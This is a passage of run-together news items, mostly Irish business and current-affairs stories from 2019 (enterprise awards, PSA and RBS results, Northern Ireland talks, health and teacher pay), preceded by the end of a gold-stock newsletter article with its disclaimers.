would like to mention is that with ongoing mapping and sampling, new unknown adits and stopes were discovered beyond the known old workings, expanding the known footprint of this mineralized system by 1 to 1.5 kilometers to the south. Based on the growing list of positive aspects to the Pamlico Project, Newrange is an excellent example of a highly prospective gold exploration project that is getting very little interest from the market. Given his past success, Bob Archer has the ability to find investors of significance that can generate interest in this story. In advance of his success in that regard, you may want to consider picking up a few shares before they become dearer. As he followed the demolition of the U.S. gold standard and the rapid rise in the national debt, Jay Taylor's interest in U.S. monetary and fiscal policy grew, particularly as it related to gold. He began publishing North American Gold Mining Stocks in 1981. In 1997, he decided to pursue his avocation as a new full-time careerincluding publication of his weekly J. Taylor's Gold, Energy & Tech Stocks newsletter. He also has a radio program, "Turning Hard Times Into Good Times." Disclosure: 1) Jay Taylor's disclosures are below. 2) The following companies mentioned in this article are billboard sponsors of Streetwise Reports: Great Bear Resources. Click here for important disclosures about sponsor fees. 3) Statements and opinions expressed are the opinions of the author and not of Streetwise Reports or its officers. The author is wholly responsible for the validity of the statements. The author was not paid by Streetwise Reports for this article. Streetwise Reports was not paid by the author to publish or syndicate this article. The information provided above is for informational purposes only and is not a recommendation to buy or sell any security. Streetwise Reports requires contributing authors to disclose any shareholdings in, or economic relationships with, companies that they write about. Streetwise Reports relies upon the authors to accurately provide this information and Streetwise Reports has no means of verifying its accuracy. 4) This article does not constitute investment advice. Each reader is encouraged to consult with his or her individual financial professional and any action a reader takes as a result of information presented here is his or her own responsibility. By opening this page, each reader accepts and agrees to Streetwise Reports' terms of use and full legal disclaimer. This article is not a solicitation for investment. Streetwise Reports does not render general or specific investment advice and the information on Streetwise Reports should not be considered a recommendation to buy or sell any security. Streetwise Reports does not endorse or recommend the business, products, services or securities of any company mentioned on Streetwise Reports. 5) From time to time, Streetwise Reports LLC and its directors, officers, employees or members of their families, as well as persons interviewed for articles and interviews on the site, may have a long or short position in securities mentioned. Directors, officers, employees or members of their immediate families are prohibited from making purchases and/or sales of those securities in the open market or otherwise from the time of the interview or the decision to write an article until three business days after the publication of the interview or article. The foregoing prohibition does not apply to articles that in substance only restate previously published company releases. Charts and graphics provided by the author. J Taylor's Gold, Energy & Tech Stocks (JTGETS), is published monthly as a copyright publication of Taylor Hard Money Advisors, Inc. (THMA), Tel.: (718) 457-1426. Website: www.miningstocks.com. THMA provides investment ideas solely on a paid subscription basis. Companies are selected for presentation in JTGETS strictly on their merits as perceived by THMA. No fee is charged to the company for inclusion. The currency used in this publication is the U.S. dollar unless otherwise noted. The material contained herein is solely for information purposes. Readers are encouraged to conduct their own research and due diligence, and/or obtain professional advice. The information contained herein is based on sources, which the publisher believes to be reliable, but is not guaranteed to be accurate, and does not purport to be a complete statement or summary of the available information. Any opinions expressed are subject to change without notice. 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More disclaimer info: https://www.investorideas.com/About/Disclaimer.asp Learn more about publishing your news release and our other news services on the Investorideas.com newswire https://www.investorideas.com/News-Upload/ and tickertagstocknews.com Global investors must adhere to regulations of each country. Please read Investorideas.com privacy policy: https://www.investorideas.com/About/Private_Policy.asp A hat designer favoured by Lady Gaga, a financial brokerage with 300 clients and a thriving new cleaning and maintenance service, are just three of the 18 finalists through to the Irish Local Development Network CLG (ILDN) National Enterprise Awards on May 16. The winning businesses were nominated to ILDN by their Local Development Companies (LDCs). The 49 LDCs nationally have been supported by the Department of Employment Affairs & Social Protection supports under the Back to Work Enterprise Allowance (BTWEA)as well as by the Social Inclusion Community Activation Programme (SICAP). Clare LDC nominated Margaret OConnor Millinery and Design from the Burren. Having trained with Philip Tracey, Margaret is a very talented milliner and now a successful entrepreneur. Having Lady Gaga order a hat was quite a coup. The hat worn by Lady Gaga wore was a very detailed piece. It was a high end, avant garde fashion piece, says Margaret OConnor, who has also been shortlisted for global awards in Jakarta and China. I dont think I would have achieved any of this without Clare LDCs help. I certainly wouldnt have managed to open my shop in Ennis without them. Its one thing being a creative person, but now I really am a business woman, I balance the books and I do PR. I used to just wear a creative hat, now I wear lots of different hats, she joked. Others who have accessed schemes like BTWEA and SICAP will know what a great benefit it is to effectively have some level of finance to help kickstart a new business. All of the ILDN finalists will have enjoyed varying degrees of business success, but theyve also started out from a position of being unemployed. KM Financial has been nominated for the ILDN awards by Ballyhoura Development in North Cork. Michael Knightson and David Mulvihill launched KM Financial having having taken a redundant package from FBD Financial Solutions in 2017. They have grown KM Financial to over 300 clients. Michael runs an office in Charleville, with David running the Dungarvan office. We were both given a short-term employment allowance, recalls Michael Knightson. That gave us the freedom to think in the medium- to long-term without having to worry about the immediate lack of cash. There is always a lag in terms of being paid by clients in the first six months. We knew that we could use our allowances to set up the business properly. We were both experienced life and pensions brokers, but that doesnt mean youll be good at running a business. "Ballyhoura and the Department of Employment Affairs and Social Protection have been fantastic. They went through our business plan with a very critical eye, with a level of thorough analysis that really made us think about what we were doing. "My job was always about advising people, but now Ive grown into being a business person. We worked hard to build up our client base in Charleville and Dungarvan. ILDN MidWest Regional Awards presentation: Jim Lynch, DEASP; Mike Knightson, founder, KM Financial; Margaret O'Connor, milliner; Karen Cunneen Bilbow of Fabricate; with Jim Finn, ILDN regional chair. We attended a lot of Chamber events, did networking on LinkedIn, and did some work on our media profile. "Weve been lucky enough to land one very large pension scheme. We really owe our great start to the advice weve been given. In due course, the likelihood is that KM Financial will increase its staff numbers from its current level of two full-time and two part-time roles. It is just one of the many success stories of the local development model. ILDN is the representative body for the countrys 49 LDCs, not-for-profit, multi-sectoral partnerships that deliver community and rural development, labour market activation, social inclusion and social enterprise services across the country. LDC boards comprise of local, voluntary directors alongside public-sector personnel and in many cases employers, unions and elected representatives. They link to Local Economic and Community Plans and Local Community Development Committees, ensuring wide-ranging oversight and democratic accountability. To date, the LDCs have helped 5,712 people develop businesses. Whats perhaps surprising is that 3,116 of those are rural businesses. Joe Saunders, ILDN manager, said: There are very few schemes that can claim to have a better than 50:50 ratio between urban and rural. All of the people at the ILDN awards are people who were on the unemployed register before they created a business. For people in rural areas, the choice is very often to either migrate for work or create your own business. That is why these awards really are celebrating people who deserve to be applauded for the journey theyve made. Theyre often people returning to the workforce after a long time away. In some cases youre talking about people who have had difficult medical histories, and certainly people who are often involved in working from home before creating a bigger, more ambitious business. Last year, LDCs supported more than 15,000 communities and community groups and 173,000 individuals by delivering approximately 330 million worth of programmes on behalf of Government Departments and state agencies. Examples include the Social Inclusion Community Activation Programme (known as SICAP), LEADER, education, childcare, public health and social enterprise programmes and employment supports. The finalists from the Mid-West region are a great model for others to follow, and notably those based in rural locations. Fabricate (Limerick) was also nominated for the Mid-West, along with KM Financial (North & East Cork) and Margaret OConnor Millinery & Design (Clare). Karen Cunneen Bilbow, is the founder of Fabricate. Karen designs and manufactures bespoke quality Lampshades, Textile products and delivers craft training and workshops. Karen operates from her studio at Burlington Business Park Corbally, Limerick. Karens business began in February 2018. Eamonn O Reilly, vice-chairperson of ILDN, said: All the companies and entrepreneurs at the ILDN Mid-West Regional Finals are winners in reality. "They have created viable startups to viable, profitable businesses. "They have all shown real determination, business acumen and market knowledge, and have benefitted from on the ground support of Local Development Companies and the Department of Employment Affairs & Social Protection. "Congratulations to Fabricate as the winner, and KM Financial and Margaret OConnor Millinery & Design as runners up. "We wish them every success at the ILDN National Enterprise Awards next month. www.ildn.ie Peugeot maker PSA Group reported a 1.1% decline in first-quarter revenue, as a sales decline outside Europe and currency challenges outweighed pricing improvements. The French carmakers shares fell after it said revenue dropped to 17.98bn in the January-March quarter from 18.2bn a year earlier. PSA remains fully focused on its medium-term performance plan while pursuing the integration of the Opel-Vauxhall business acquired from General Motors in 2017, chief financial officer Philippe de Rovira said. While the Opel deal has bolstered PSAs European position, overseas sales have suffered from a sustained collapse at its Chinese joint ventures and have been compounded by the carmakers withdrawal from Iran last year. Revenue at the core automotive division fell 1.8% to 14.16bn, as vehicle sales by Opel to its former parent tailed off. Exchange-rate setbacks also weighed on revenue to overcome a 3.6% boost from improved pricing and mix, which reflects a sales shift to plusher models. Those metrics, driven by PSAs performance in Europe, bode well for its future earnings, some analysts said. Investors might be willing to look through the weak headline figure, given how key mix is for profitability, Evercore ISI analyst Arndt Ellinghorst said in a note to clients. The carmakers shares nonetheless fell, paring their 30% gain this year. Global sales volumes fell 15.7% to 886,400 vehicles in the quarter. Excluding Iran, deliveries fell 6.1%, weighed down by a 30% decline in Latin America. Overall revenue was broadly in line with analyst estimates in an Infront Data poll, and PSA reiterated its medium-term guidance for an average 4.5% automotive operating margin over the 2019-2021 period. The company said it now expects the Latin American auto market to shrink 2% in 2019. PSA saw the European market as being stable, while it saw China falling by 3% and Russia growing 5%. PSA plans to discontinue Opels Adam, Karl and Cascada models to help meet tightening carbon dioxide emissions regulations, added Mr De Rovira. Earlier this month, the European Commissions push for a wifi-based standard for cars backed by Volkswagen took a big step forward after MEPs endorsed wifi over 5G technology promoted by PSA, BMW and Qualcomm. The issue has split the auto and tech industries. 5G backers include PSA, Daimler, Ford, Deutsche Telekom, Ericsson, Huawei, Intel, Qualcomm, and Samsung. There were still seven people in critical condition Friday at Vista Medical Center East in Waukegan, according to Covelli. He added there was one person in addition to the original 37 people reported as taken to hospitals, but that patient was in good condition at Northwestern Lake Forest Hospital and is due to be released in the near future. Royal Bank of Scotland, which owns Ulster Bank, is searching for a new chief executive. Ross McEwan has resigned, signalling a fresh start for the bank as it heads for full private ownership, after a state bailout. New Zealand-born Mr McEwan, who has led RBS since October 2013, has a 12-month notice period and will remain in his position until a successor has been appointed and until an orderly handover has taken place, the bank said on Thursday. It is the second change in RBSs senior executive team in fewer than six months, following the appointment of Katie Murray as chief financial officer, last December. The date of Mr McEwans departure will be confirmed in due course and Alison Rose, the banks CEO of commercial and private banking, is one of the favourites to succeed him. Ms Rose, who also serves as deputy CEO of NatWest Holdings, has worked for the lender for more than 20 years and is responsible for RBSs Coutts private banking brand. Her accession would make RBS the first bank in Britain to have two women in its most senior positions. After over five-and-a half, very rewarding years, and with the bank in a much stronger financial position, it is time for me to step down as CEO, Mr McEwan said. There had been speculation about Mr McEwans future since finance chief and fellow New Zealander, Ewen Stevenson, announced he was leaving, last May. Some analysts suggested the CEOs departure might not be ideal timing for the bank, just months before Brexit and with dark clouds looming over the UK housing market. RBS is due to report its first-quarter results later today, where attentions will turn to the resilience of its small- and medium-sized business borrowers in the face of Britains lengthy exit process from the EU. While broadly liked and respected among RBSs institutional investors, Mr McEwans tenure has not been without drama. Despite being one of the lowest in Britains banking sector, salary and bonus payments earned by the 61-year old have attracted considerable scrutiny, particularly in the years before RBS returned to profit. Mr McEwans total pay was 3.58m (4.1m) in 2018, 97 times the pay of the banks median employee and 143 times its lowest-paid staff. Under his watch, the bank also shelled out $4.9bn (4.4bn) to settle its largest-ever regulatory penalty for misselling of high-risk mortgage-backed securities between 2005 and 2008. - Reuters Shares in Tullow Oil fell by over 2% after the Irish-founded exploration company slightly downgraded its production expectations for this year and said progress on highly-anticipated project work in Kenya could be delayed. Investors unanimously approved Tullows planned return to dividend payments after a five-year break, at the companys AGM in London. However, they were also told that the company now expects to produce between 90,000 and 98,000 barrels of oil per day this year, as opposed to a previous estimate of between 93,000 and 101,000 barrels. The 3% reduction in 2019 net production guidance provides a headline, but should not concern investors in our view, Barclays said in a note. This 2018 final dividend and our new dividend policy, which is expected to deliver at least $100m per year to shareholders, reflect the financial and operational progress that Tullow has made over the past few years, said chief executive Paul McDade. In February, Tullow reported its first annual net profit in five years and said it would pay a 4.8c per share dividend to investors this year and increase spending in Ghana and set its sights on eastern African projects. However, Tullow said that plans for a final investment decision at highly-anticipated projects in Kenya by the end of this year now seems like an ambitious target. With much focus on Tullows three-well drilling programme offshore Guyana, this year is also crunch time for Tullows East African projects. The shipment of a first cargo of Kenyan oil to test the market, which was originally planned in the first half as well, is expected to sail in the third quarter, Tullow said. In Uganda, a $208m (186m) payment after selling a stake in its onshore fields to Total in a so-called farm-down deal was delayed last year because the country asked for more tax on the deal than expected. These discussions are expected to conclude shortly and will enable completion of the farm-down, Tullow said. Tullow has reduced its debt from $3.1bn at the end of 2018 to $3bn at the end of March. It has hedged 56,000 barrels per day this year at a floor price of $56.40 per barrel and 31,000 bpd at $58.68 a barrel for 2020. - Additional reporting Reuters Latest: An investigation has been launched after the body of a man in his 30s was discovered at Parnell Place bus station early on Friday morning. Station staff alerted the authorities to the find at approximately 6am. It is believed the man had bedded down at the station overnight. Gardai are treating the incident as a tragic accident. The mans body was taken to Cork University Hospital for a post mortem examination. The area had been sealed off but the body remained at the scene as commuters boarded the first buses of the day. A Garda spokesperson said: Gardai are investigating the sudden death of a man in his 30s that occurred on Parnell Place, Co Cork on the 26th April 2019 at approximately 6am. The incident is under investigation and is ongoing. The scene was examined by forensic experts but bus services continued to operate as normal. The incident was cleared shortly after 9am. Eyewitnesses reported seeing a man taking shelter overnight to the rear of the bus station adjacent to bus terminals. Body of man, 30s, found at bus station in Cork city Update 9.10am: The body of a man in his 30s has been discovered at Parnell Place bus station this morning. Station staff alerted the authorities to the incident at approximately 6am this morning. A Garda spokesperson said: Gardai are investigating the sudden death of a man in his 30s that occurred on Parnell Place, Co Cork on the 26th April 2019 at approximately 6am. The body currently remains at the scene. The incident is under investigation and is ongoing. The scene is currently being examined by forensic experts while bus services continue to operate. Gardai are treating the incident as a "tragic accident". EchoLive.ie Four designer watches, jewellery and clothing have been seized by the Criminal Assets Bureau in Co. Waterford this morning. At around 7.30am, CAB officers, assisted by the Emergency Response Unit, conducted a planned search of a property in Kilmeaden. The Cabinet is set to discuss the stalled Cork event centre project when it meets in the city next week. Tanaiste Simon Coveney confirmed that he and his Cabinet colleagues will meet in Blackrock Castle next Wednesday and that the proposed 6,000-capacity venue, where construction has yet to start three years on from the sod turning, will feature in their discussions. While there were no signs last night of any breakthrough in the funding impasse linked to the 9m loan element of the increased 30m state-funding package, Mr Coveney said he hopes to be in a position after the Cabinet meeting to bring clarity to the process. It is hoped that the involvement in recent weeks of Martin Fraser, the Secretary General to the Government and the Secretary General of the Department of the Taoiseach, could help resolve the outstanding funding issues dogging the near 80m project. Last week, Taoiseach Leo Varadkar admitted in an interview with the Irish Examiner that the 2016 pre-election sod turning on the project was a mistake. Speaking after an Irish Examiner breakfast briefing on the future of Cork, Mr Coveney declined to comment specifically on the Taoiseachs comments. He said Leo Varadkar was asked a range of questions in a long interview, adding: I think the important thing from that interview is that he reinforced the commitments that the government has made to make this project happen and I share that commitment with him. We are both absolutely committed to deliver for Cork in relation to an event centre and we are working with BAM and Live Nation and Cork City Council to make that happen and I think thats the important element of that interview. Mr Varadkar is also due to attend a town hall-style meeting in the city on Wednesday urging a yes vote in the May 24 plebiscite for a directly elected Lord Mayor of Cork. Mr Coveney dismissed concerns raised this week about the proposed 130,000 salary and the estimated 450,000 annual running costs for the office, urging people to focus on the bigger picture. What were talking about here is a salary of a junior minister, with some advisors around them, he said. Were not talking about huge money in the bigger scheme of things. This is a city that spends tens of millions of euros and we are talking about funding appropriately a leader for that development. So please lets not get ourselves cut up in the small issues to try to distract away from the bigger picture here. This is an opportunity for Cork to take a step forward to redesign local government in a way that connects the Lord Mayor to the people directly through a vote, but also in a way that gives that first citizen a lot more power to be able to deliver for the city on the back of the mandate that people will give them. Thats the key issue here rather than salaries and expenses." Hollywood star Saoirse Ronan is West Cork-bound in a few weeks time for one of the countrys most unique film festivals. The award-winning Lady Bird star had been spotted early last year in Schull, which hosts the summertime Fastnet Film Festival. The Mary Queen of Scots and Brooklyn star was unavailable to return months later to the Mizen peninsula village for the 2018 festival but organisers kept in touch with the Golden Globe winner. And the 25-year-old agreed to attend the 2019 five-day event, which commences on May 26. The festival plans to screen two of her films, Hanna and Lady Bird, and the actress will participate afterwards in a Q&A session with Dublin-based producer John Kelleher, who is chairman of the Fastnet Film Festival. Festival communications director Hilary McCarthy, said: Saoirse will stay for the duration of the festival. She comes to West Cork occasionally and while she couldnt come last year, we kept in touch and she said she would love to come this May. To get a world-renowned actress, a young female actress with such an amazing career, is just phenomenal for the festival to have her as a guest. The Fastnet event is unique in that while 13 full feature-length films and 300 short films will be screened, the village does not have a permanent cinema. However, a number of temporary venues, including the offshore Long Island cinema, ensure thousands of film fans and visitors are never disappointed. Actor Bryony Flatman from Schull, West Cork, at the launch of the Fastnet Film Festival at The Crane Lane, Cork, yesterday. Picture: Gerard McCarthy Ms McCarthy said the festival has been very lucky to continue to attract high-profile producers, directors and screenwriters over the years. We have developed the event into something that filmmakers feel they are part of, she said. In terms of its creation, they feel ownership of the festival and when they do come to Schull, we ensure they get out and about, enjoy the music, have boat trips and make it a family holiday. Meanwhile, scores of filmmakers were among the guests at a Cinematographers Party in Corks Crane Lane Theatre for the launch of the 2019 festival. It was also announced Dubliner Roddy Doyle will host a scriptwriters workshop and take part in a Q&A during the May event. Roddy Doyle will hold a scriptwriters workshop at the festival. Academy award-winning film historian Kevin Brownlow will also screen his restored silent film Smouldering Fire which will be accompanied by world-famous composer and conductor Carl Davis on a grand piano. This unique event will be possible thanks to the support of Tomar Trust and UCC. Other guests announced were Paddy Breathnach, Carmel Winters, Moe Dunford, Sarah Greene, Jim Sheridan, Ed Guiney, Hazel Doupe, and many more. The line-up, organisers said, is unprecedented with over 50 expert guests taking part in the late May festival. The festivals World Cinema Programme will, this year, focus on Iceland to include three features and a short film programme curated by the Icelandic Film Institute. The Fastnet Film Festival has carved out a niche as a major showcase for Irish and international short film production, focusing on the craft of film and has been held in high regard on a local, national and global level for a number of years. The programme includes a series of seminars, masterclasses and workshops covering sound, screenwriting, casting, auditioning, score composition, documentary making, creating content on a mobile phone, shorts to feature films and more. The Department of Public Expenditure and Reform, and not the Department of Health, is dictating the delivery of healthcare in Ireland, according to the outgoing president of the Irish Medical Organisation. Peader Gilligan, an emergency medicine consultant at Beaumont Hospital, said the Department of Public Expenditure and Reform (DPER) had motives other than the optimisation of patient care and was exploiting divisions between rival medical organisations. He said they were the ultimate cynics who know the price of everything and the value of nothing. DPER failed to understand the changing health landscape and certain actions, such as paying consultants hired since October 2012 less than colleagues doing the same job, were driving doctors abroad, he said. Im very clear that the Department of Health understands the fact that things have changed and that the recruitment environment has changed. Im not so confident that DPER understands the level of change that has taken place, and more concerning to me is, Im not sure theyre as concerned about it as they should be. The Department of Health said DPER recognised earlier this week that there are issues to be addressed in relation to new entrants, and that consideration will need to be given to potential solutions which are in line with public sector pay policy and available budgets. This will be a significant challenge, the department said. Dr Gilligan said it has become increasingly apparent to him while IMO president that its DPER who are dictating the delivery of healthcare in this country, and for me, thats wrong. The Department of Health has within its remit the delivery of healthcare and the design of healthcare in Ireland, and my sense of it is that thats being frustrated by the economics of the system, he said. Dr Gilligan said it was now a feature of the health service that consultants resign from their jobs, which would never have happened when he first qualified. When I took up my consultancy and I was talking to people about it, they said to me the one thing they could say with certainty is that nobody resigned from a consultant position in Ireland. The one thing I can now say with certainty is that there are resignations all over the country, particularly in child psychiatry and emergency medicine. Moreover, hospitals were being propped up by locum staff. My understanding is that in Tralee, the hospital is dependant on locum agencies for 40% of its consultant body, which is very, very significant indeed. Dr Gilligan said divisions between bodies such as the IMO and the National Association of General Practitioners (NAGP) were being exploited by DPER . He said: I suppose I was a little bit concerned when the NAGP formed because I felt it was dividing rather than helping to progress things on behalf of general practice, and I really think what needs to happen is that doctors collectively decide the direction of the health service in the best interests of patient care. Dr Gilligan was at the AGM of the IMO in Killarney, which continues today. Among the motions carried was a call on Government to ensure social media companies based in the Republic are treated as publishing companies for the better protection of children. Dr Matthew Sadlier, the psychiatrist who proposed the motion, said he had often seen patients who would say the precipitant for their mental health crisis has been a social media post, that had it been published in a newspaper, it would have constituted libel or slander. If the social media companies werent making a profit from advertising revenue, you could call them neutral, he said, but they were, so it was difficult to see why different rules applied. Dr Clive Kilgallen, a consultant histopathologist at Sligo University Hospital, proposed a motion calling for an additional 5,000 beds. He said with current bed occupancy at almost 100%, patients couldnt get admitted to hospital for elective procedures, including for tumour removal. Its almost ground to a halt, he said. Failte Ireland is launching a new initiative 'Taste the Island' to celebrate the country's renowned food and drink. Dublin businesses and individuals interested in providing tourists with a a food or drink experience are invited to attend workshops in Croke Park May 8 to found out how they can get involved. Taste the Island intends to showcase Ireland's food and drink culture from September to November to provide visitors with access to authentic experiences. Workshops are being rolled out throughout the country to inform the local food and drink industry and offer them a chance to shape the development of a programme of events. Failte Irelands Food Strategy Manager Tracey Coughlan said: Food is a very important factor in a holiday, people love to talk about the food they enjoyed on holidays. "Todays visitors are more discerning than ever about the food they eat, and they expect a quality experience at every meal. Interestingly, our research shows that international visitors come to Ireland with low expectations about our food, yet 80% leave pleasantly surprised. "Based on this, we have a fantastic opportunity to push out the quality experiences we have across the full food and drink spectrum from producers and brewers to festivals and cafes. I "Irelands food and drink experiences are as good if not better than any in the world, and we want to world to know about it." Among other factors, Britains military avoided introduction of massive firepower, in contrast to the U.S. military strategy in Vietnam, especially from 1965. To be sure, the British military employed air strikes and artillery, but relatively selectively. Officials rightly regarded heavy bombing as counterproductive. In the same category was the American emphasis on free-fire ones relatively early in the Vietnam War. Talks to break the political impasse in the North are set to reconvene in the next fortnight amid mounting public pressure. Tanaiste Simon Coveney and Northern Ireland secretary Karen Bradley are expected to announce new talks when they meet in Belfast today. Sinn Fein and the DUP have come under pressure to break the deadlock after Fr Martin Magill challenged politicians at the funeral of murdered journalist Lyra McKee in Belfast this week. Fr Magill received a standing ovation when he asked why it had taken the death of Ms McKee for politicians to stand together. Talks are now expected to resume in the next two weeks; however, significant differences remain between the two parties. The political impasse has left the North without a functioning executive since the beginning of 2017 but proposals put forward by DUP leader Arlene Foster were yesterday rejected by Sinn Fein. The DUP has remained firmly opposed to marriage equality and the introduction of a language act, which Sinn Fein views as key demands. Ms Foster had put forward a twin-track approach where the devolved institutions are restored quickly to deal with issues like running the health service, while a separate process addresses disagreements such as over same-sex marriage. Ms Foster said Sinn Fein could not get everything it wanted, a 5-0 victory, and her party receive nothing. We want to see the assembly returned, said Ms Foster. I think if you want to have the unionist population of Northern Ireland subscribing to an assembly and subscribing to whats going on in Northern Ireland, then you have to have an agreement that not only works for Sinn Fein and nationalism but one that works for unionism as well and I think thats very important. Sinn Fein leader Mary Lou McDonald said her party wants to see a resolution to the impasse, but that the issues at play here arent trivialities. She remained adamant that an Irish language act is still a requirement. Deputy leader Michelle ONeill outright rejected the DUP plan and said: In terms of what Arlene Foster has proposed today, in terms of going into the executive and having a parallel process, that will not work. The citizens here deserve to have their rights delivered on marriage equality, language rights, legacy inquest rights. These things need to be delivered, and that in itself then paves the way for the institutions to be restored. Meanwhile, Labour leader Brendan Howlin called for the establishment of a Northern Ireland Citizens Assembly, which he said would be a democratic way to deal with issues that have prevented the DUP and Sinn Fein from re-entering government. Campaigner Vicky Phelan has hit out at lengthy delays in the cervical screening process as unacceptable. Speaking one year after settling her case for 2.5m against the US laboratory over the alleged misreading of her cervical cancer smear, the campaigner said the decision by Health Minister Simon Harris to offer free repeat tests to women was correct but that it should have been backed with the proper resources. Ive always said I thought it was the right decision at the time because women were terrified. The problem was it wasnt backed up with resources so they didnt have the capacity, weve been told there is no capacity and that is why there is this delay, which is unacceptable, she told RTEs Miriam OCallaghan. The backlog in processing tests now stands at around 80,000 with women waiting more than eight months for results. That backlog has been blamed on the ministers decision to offer repeat out-of-cycle smears to women after the CervicalCheck scandal broke. Ms Phelan also apologised to Taoiseach Leo Varadkar, who she had criticised in an article in The Irish Times yesterday,- saying a range of agencies were to blame for the problem. Im critical of the Government in general. Some of what I said was taken out of context and I would like to apologise to the Taoiseach for the comment in todays article. What I said, I was trying to make the point that the issues faced by the women and their families are wide-ranging. They involve input from a wide range of players, the HSE, the Department of Health, the medical and legal professions and the Attorney Generals office, she said. Ms Phelan pointed out that any unwillingness on the part of one player can hold everything up and thats whats happened over the last 12 months and said that Ireland, in general, had a poor record in dealing with issues that affect women. The Limerick campaigner also said that she has always been keen to stress the importance of the screening programme, adding that it saves thousands of lives. I was very, very careful in insisting that women still go for their smears. What I had a problem with, and its still the same, was the management of the screening programme and the way it was being run, not in screening itself. Screening saves lives. The cervical screening programme, while it has its faults, it has saved thousands of lives. I certainly didnt want to stop women going for smears because it does save lives, she said. Ms Phelan also spoke about her life changed after giving a statement outside the High Court last year - saying that she never expected the level of public scrutiny that was to follow. I thought Id see myself on the news and that would be it, I would move on with my life. I never for a minute imagined that I would still be doing all of this or that I would be here a year later... But to find out after a couple of weeks that there was a couple of hundred women, at that stage, I was so enraged at what was coming out I couldnt step back. And thats why I am doing it. I still feel very uncomfortable with a lot of all this. I never wanted to be a celebrity or in the papers or have people come up and recognise me. But its lovely. Its for people Im doing this. Im not doing this for plaudits or awards, she said. Ms Phelan described the Scally report as a watershed moment in Irish healthcare and praised Dr Gabriel Scally for not being afraid to criticise when he felt necessary. He was unafraid to criticise. It was unlike any report that had come before. It wasnt a token report. He provided us with a template to make it possible for us to have a screening programme that we can proud of and that will save even more lives. Thats whats happening at the moment. We are making some headway. President Michael D Higgins has paid tribute to Feargal Quinn as a gifted entrepreneur and lifelong supporter of small businesses following his death. Leading tributes to the Superquinn founder, former senator, and philanthropist, President Higgins said Mr Quinn would be remembered as a force for change, as a passionate advocate on business and related matters, and as an eloquent debater. Mr Quinn, 82, who died yesterday following a short illness, served as a senator for 23 years from 1993 until 2016 but donated his salary to charity. He was known for transforming the retail trade in Ireland through many initiatives including customer loyalty cards, in store bakeries, and the now famous Superquinn sausage. More recently, he was recognised as a television personality through this RTE show Retail Therapy, which offered advise to businesses across the country. Transport Minister Shane Ross remembered Mr Quinn as the best president that Ireland never had. Despite his great wealth and incredible success, he related to everybody, said Mr Ross. Customers and staff loved him. He was so absolutely genuine in his beliefs. He was never flash just generous, he was a superb listener, something very special. Mr Quinn became the first chairman of the Independent Alliance in 2015, and the group described him as a true gentleman who we were privileged to know and who will be greatly missed. Mr Quinn is survived by his wife Denise, their five children, and 19 grandchildren. In a statement, his family said he had died peacefully. First and foremost, Feargal was a loving and caring husband, father, grandfather, and brother, the family statement read. To everyone else who knew him, he was an ebullient businessman, entrepreneur, innovator and former senator. The Musgrave Group described Mr Quinn a visionary in Irish food and a retail pioneer who also made a significant and lasting contribution to Irish society beyond the world of retail. The Tanaiste said he hopes talks with the Northern Secretary of State today will produce a structure to facilitate the re-establishment of a functioning executive in Stormont. Speaking at an Irish Examiner breakfast briefing in Cork this morning before his journey to Belfast, Simon Coveney said he hoped the tragedy in Derry last week, when journalist Lyra McKee was shot dead by dissident republicans, will be part of the catalyst needed to allow for a new beginning in politics in Ireland. I am meeting the Secretary of State Karen Bradley and hopefully we will have more to say after that meeting but that meeting needs to take place first before we start talking publicly about it, he said. He said the Irish and British governments, and the various political parties in Northern Ireland, are aware that Northern Ireland needs its own government and needs politics to work. We know what happens when politics doesnt work in Northern Ireland and weve seen a tragic example of that in the last week, he said. So the Secretary of State and I, and both governments are very aware of our responsibilities, he said. We are co-guarantors of the Good Friday agreement and so we are meeting in Belfast again today and we will make a statement after that. Both governments know that we have a responsibility to work together and to give both leadership and structure to help the parties to find a way of re-establishing a functioning Stormont and a functioning executive. He said despite the strains of Brexit, both the Irish and British Government are united on this issue. I have a very close relationship with the Secretary of State. We work with all of the parties in Northern Ireland, and as I say we are co-guarantors of the Good Friday agreement, he said. And with that comes responsibility to protect the institutions of the Good Friday agreement and, in this case, to reestablish them because they havent been active now for more than two years. So we are all going to work on that together and we will work closely with all of the political parties. But he said he didnt think it was right to make a direct link between the political vacuum in Northern Ireland and the emergence of dissident groups. He said her death was as a result of totally irresponsible rioting on the streets of Derry. Lyra McKee It was a tragedy - somebody who was an amazing person has been taken from their family and from many others she influenced, because of dissident republican activity and reckless behaviour that not only endangered her fatally, but also endangered many other people, including the PSNI. But we have always said that the way to respond to that kind of warped thinking that comes from dissidents and paramilitaries is functioning politics. And those of us who are committed to that have an obligation to make it work - and thats not easy. Its not easy for political parties in Northern Ireland to do that. Politics in Northern Ireland is challenging. It can be very polarised, partisan and very crude at times, and so to come together to find a compromise, to find middle-ground positions, to be generous towards competitors, isnt easy. But we have seen the consequences over the last two years of the lack of political leadership in Northern Ireland in a structure, and a functioning executive and a functioning Stormont, which is what we need. I think the tragedy of the last week, I hope, will be part of the catalyst needed to allow for a new beginning for politics in Northern Ireland, and its up to the governments to work with parties to make sure that we can put a structure in place that can facilitate that. More than two-thirds of teachers struggle to make ends meet. A new survey of almost 800 members of the Teachers Union of Ireland (TUI) illustrated the extent of the pay issues in the sector. The survey, presented on the final day of the TUIs annual congress in Killarney, included opinions on stress levels and investment in the sector. The respondents included a large number of new-entrant teachers. The issue of the pay gap in the sector has been a constant theme of the three-day congress. A number of motions were passed by members condemning the pay shortfalls for those who started teaching after 2011, including an emergency motion to ballot for potential industrial action if the issue is not resolved. It was addressed directly by TUI president Seamus Lahart, who warned Education Minister Joe McHugh that the issue will be a factor at the ballot box if it is not resolved. Mr McHugh told delegates that there is unfinished business on the matter and that it would be given full consideration. The anonymous survey had 798 respondents. Of these, 69% said that they found it hard to make ends meet at the end of a pay period, 40% said that they do not have the same enthusiasm for their job as when they started, and 60% said that they would not recommend a career in teaching to their children or students. More than 80% said that staff morale in schools has suffered due to pay inequality, and 62% said that they find work stressful often or always. Teachers commented that they are overwhelmed with paperwork, which takes from time spent teaching. The enthusiasm for the classroom is there but not for the endless paperwork and dealing with issues outside the classroom, one said. Another added: Nothing is ever enough. Expectations are endless. Teachers were also critical of the lack of investment in their working environment, with 89% of respondents saying that under-investment has affected their workplace or job. We are expected to do more with less, said one respondent. Helen OCallaghan talks to two leading doctors who are driven to find targeted therapies with minimum long-term toxicities to treat childhood cancer. HOW quickly it all happened, how rapid it was thats what stayed with Professor Owen Smith all these years. His nine-year-old cousin, Derek Reid, taken in 1966 to a Dublin paediatric hospital, nursed in a back room, died three weeks later of acute lymphoblastic leukaemia. In 